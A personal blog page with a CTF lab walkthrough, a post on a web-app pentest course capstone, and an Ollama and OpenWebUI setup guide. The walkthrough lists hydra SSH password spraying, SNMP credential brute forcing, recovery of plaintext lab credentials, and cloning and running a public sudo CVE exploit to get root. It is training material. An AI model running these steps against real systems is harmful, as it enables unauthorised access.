Sunday, August 2, 2026

HackSmarter Challenge Lab: SysAdmins (Medium) - SysAdminsSYSADM

  •  - Connect to VPN
  • ping X.X.XX
  • nmap -A X.X.X.X
    •  
  • Let's take a look at ftp on port 21 
    • We found something on the FTP Server 
    •  
    • Let's read/cat it. 
    •  Hi team,

      We are writing to inform you of a recent data breach that may have affected some of your information.

      Last week, a threat actor accessed our systems after compromising a vulnerable web application and exfiltrated some users' passwords, along with usernames and emails.

      We strongly recommend that you change your password as soon as possible if your details appear in the data leak published by the attacker at https[:]//pastebin[.]com/mqPMU1cF.

      We'll continue to share updates through this channel.

      Please do not hesitate to reach out to us if you have any questions.

      Our team is working around the clock to deal with this situation, and we really appreciate your patience and understanding.

      Kind regards,
      Peter
      Lead Sysadmin 


  • We visit the PasteBin and we see a lot of credentials, this leads me to believe we can password spray after finding usernames.  
    •  
  • Let's visit Port 80 now
    •  We see a nice page where we get some usernames :)
    •  
  • Let's Password Spray
    • We have 3 Users and A lot of passwords 
      • hydra -l waserby -P passwords ssh://10.1.137.94
      • hydra -l peter -P passwords ssh://10.1.137.94
      • hydra -l helena -P passwords ssh://10.1.137.94
  • I didn't get anywhere.
    • Here I cheated and watch a video, Enumerate more things, UDP Ports. 
    • We see SNMP is open.  
    • Our online friend used LEGBA
      • docker run \
          -v $(pwd):/data \ # shared the current directory as /data inside the container
          --network host \ # docker will use the same network of the host
          -it evilsocket/legba:latest \
          snmp --username waserby --password /data/your-wordlist.txt --target 192.168.1.1
         
      • We are going to use SNMP 
        • apt-get install snmp
        • snmpwalk itself does not do password spraying , chatgpt to the rescue. 
          •  I created this script : 
            • https://github.com/TechTucson/Scripting/tree/master/HackSmarter/Challenge/SysAdmin 
            • There's more that this needs but it's a start 
  • Now we have a username and a password:
    • waserby:butterfly 
    •  Let's get everything we can from SNMP
      • We'll use the same command:
        • snmpwalk         -v3         -t 2         -r 1         -l authNoPriv         -u "waserby"         -a MD5         -A "butterfly"         "10.1.137.94"  > EXPORT
        • we used the > thingy to send the output to  a file called EXPORT
      • We can then cat EXPORT, but there's a lot of stuff in there. 
      • let's cat EXPORT | grep password
      • or grep ssh
    • We get a different set of credentials 
      • cat EXPORT | grep pass
        iso.3.6.1.2.1.25.4.2.1.5.930 = STRING: "-c sshpass -p 'PerfectIsTheEnemyOfDone223!' ssh helena@sysadmins; sleep 60" 
      • We can then login to ssh
      • we see our user flag
  • Now it's been a while that i've done PrivEsc but I do remember LinPEas
    • scp linpeas.sh helena@10.1.137.94:/home/helena/linpeas.sh
    • chmod +x linpeas.sh
    • ./linpeas.sh 
      •  
    • I immediately  focused on the yellow/red and I'll save you some time I did not have initial success
      •  I tried PeditCow, DirtyFrag, DirtyClone, I am pretty sure if I kept on trying I would have gotten it. 
    • What I did miss was the first red output in LinPeas 
      •  
      • Look there's a CVE https://github.com/pr0v3rbs/CVE-2025-32463_chwoot
        • git clone that sucker
        • transfer the .sh file with scp 
        • make it executable
        • and execute it
        •  You are now root
          • cd /root
          • cat root.txt 

Sunday, July 26, 2026

Hacksmarter Web App Pentesting Capstone

HackSmarter Foundations of Web Application Pentesting Course – Lessons Learned from the Capstone

TLDR: Here is my PenTest Report: Report: https://drive.google.com/file/d/1Ig4kQsDekkCjbfiuPMuLvPEwpCuSFpGD/view?usp=sharing

Full Disclosure ChatGPT helped me write this article. 

When I enrolled in the HackSmarter Foundations of Web Application Pentestesting Course, I expected to learn new techniques for finding vulnerabilities in web applications. What I didn't expect was that the biggest lesson would come during the capstone assessment itself.

The HackSmarter course is designed to teach a structured methodology for performing web application penetration tests. Rather than focusing solely on individual vulnerabilities, it emphasizes understanding how a web application works, building a repeatable testing process, documenting findings, and producing a professional penetration test report. Those are the skills that separate simply finding bugs from conducting a real penetration test.

Going in Guns Blazing

When I started the capstone, I did exactly what I thought a penetration tester should do. I went in with guns blazing.

I immediately began attacking the application, testing inputs, fuzzing endpoints, and looking for vulnerabilities. I wasn't following any methodology or checklist. I was simply chasing findings wherever they appeared.

At first, this felt productive, but after spending more time with the application, I realized I had created my own problem. I had skipped the process that the course spent so much time teaching.

The Importance of Methodology

Eventually, I had to stop and revisit what I had learned throughout the course.

Instead of asking, "How can I break this?" I started asking better questions:

  • What is this application supposed to do?
  • Why does it work this way?
  • How does each feature interact with the rest of the application?
  • What assumptions is the developer making?

Taking the time to understand the application before aggressively testing it made a huge difference. A structured methodology isn't about slowing you down, it's about making sure you don't miss obvious attack paths while avoiding unnecessary rabbit holes.

Documentation Matters More Than You Think

One habit I have never really developed is taking detailed notes while I'm testing.

That became one of the biggest lessons of the capstone.

When it came time to write the penetration test report, I realized I hadn't documented enough of what I had already done. I had screenshots missing, request and response details scattered around, and steps that I remembered performing but hadn't recorded.

Instead of simply writing the report, I had to revisit much of the application and recreate portions of the testing just so I could properly document my findings.

It was a valuable reminder that good documentation isn't something you do after the engagement, it's part of the engagement itself.

Kairos Made Reporting Much Easier

One tool that made the reporting process significantly easier was Kairos, the reporting platform created by the same developer behind HackSmarter.

Being able to import vulnerabilities directly into the report generator saved a tremendous amount of time. Instead of repeatedly writing common vulnerability descriptions, impacts, and remediation guidance from scratch, I could reuse existing findings and tailor them to the engagement.

This allowed me to focus on explaining how the vulnerabilities applied to the target rather than spending time formatting the report.

One improvement I'll make on future engagements is adding findings to Kairos as I discover them, rather than waiting until testing has finished. Building the report alongside the assessment keeps everything organized and greatly reduces the amount of work required at the end.

Final Thoughts

The capstone reinforced that penetration testing is about much more than finding vulnerabilities. It's about following a repeatable methodology, understanding the application before attacking it, maintaining thorough documentation, and producing a report that clearly communicates your findings.

If I could offer one piece of advice to anyone taking the HackSmarter Web Application Pentest Course, it would be this:

Take your time.

Understand what the application does, why it exists, and how it works before trying to break it. Keep detailed notes throughout the assessment, document your findings as you discover them, and don't leave reporting until the very end.

The capstone taught me that technical ability is only one part of being a successful penetration tester. Methodology, discipline, and documentation are just as important, and those lessons will stay with me long after completing the course. 

Next on for me is the TCM Security Practical Web App Pentester Certification Exam. 


Wednesday, January 14, 2026

Setting up Ollama and OpenWebUI

It's been quite a bit since I posted this article https://elmariouribe.blogspot.com/2024/02/setup-privategpt-on-fresh-ubuntu-2204.html.  If I had waited a few more weeks, it would have been two years since. This, in reality, is a continuation of those learnings.  I will focus more on the cybersecurity approach of using AI. As a couple of examples, analysing code and running vulnerability scans. This might quickly get out of proportion, and I may need to break some of these postings up or choose a different channel. 

We'll be using an old Laptop for this with a freshly installed version of Ubuntu 24.04. 
- sudo apt update
- sudo apt upgrade

  • Install Ollama 
    • curl -fsSL https://ollama.com/install.sh | sh
    • # systemctl edit ollama.service
    • [Service]
      Environment="OLLAMA_HOST=0.0.0.0"


    • Restart Ollama by : 
    • # systemctl restart ollama
      
    • This will make it so Ollama listens on all IPs
  • Pull an LLM
    • ollama pull qwen2.5:7b
    • ollama pull qwen2.5:7b
  • Install Docker
  • Run Container;
    • docker run -d --network=host --add-host=host.docker.internal:host-gateway -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:main
  • Install Go

HackSmarter Challenge Lab: SysAdmins (Medium) - SysAdminsSYSADM

 - Connect to VPN ping X.X.XX nmap -A X.X.X.X   Let's take a look at ftp on port 21  We found something on the FTP Server    Let's r...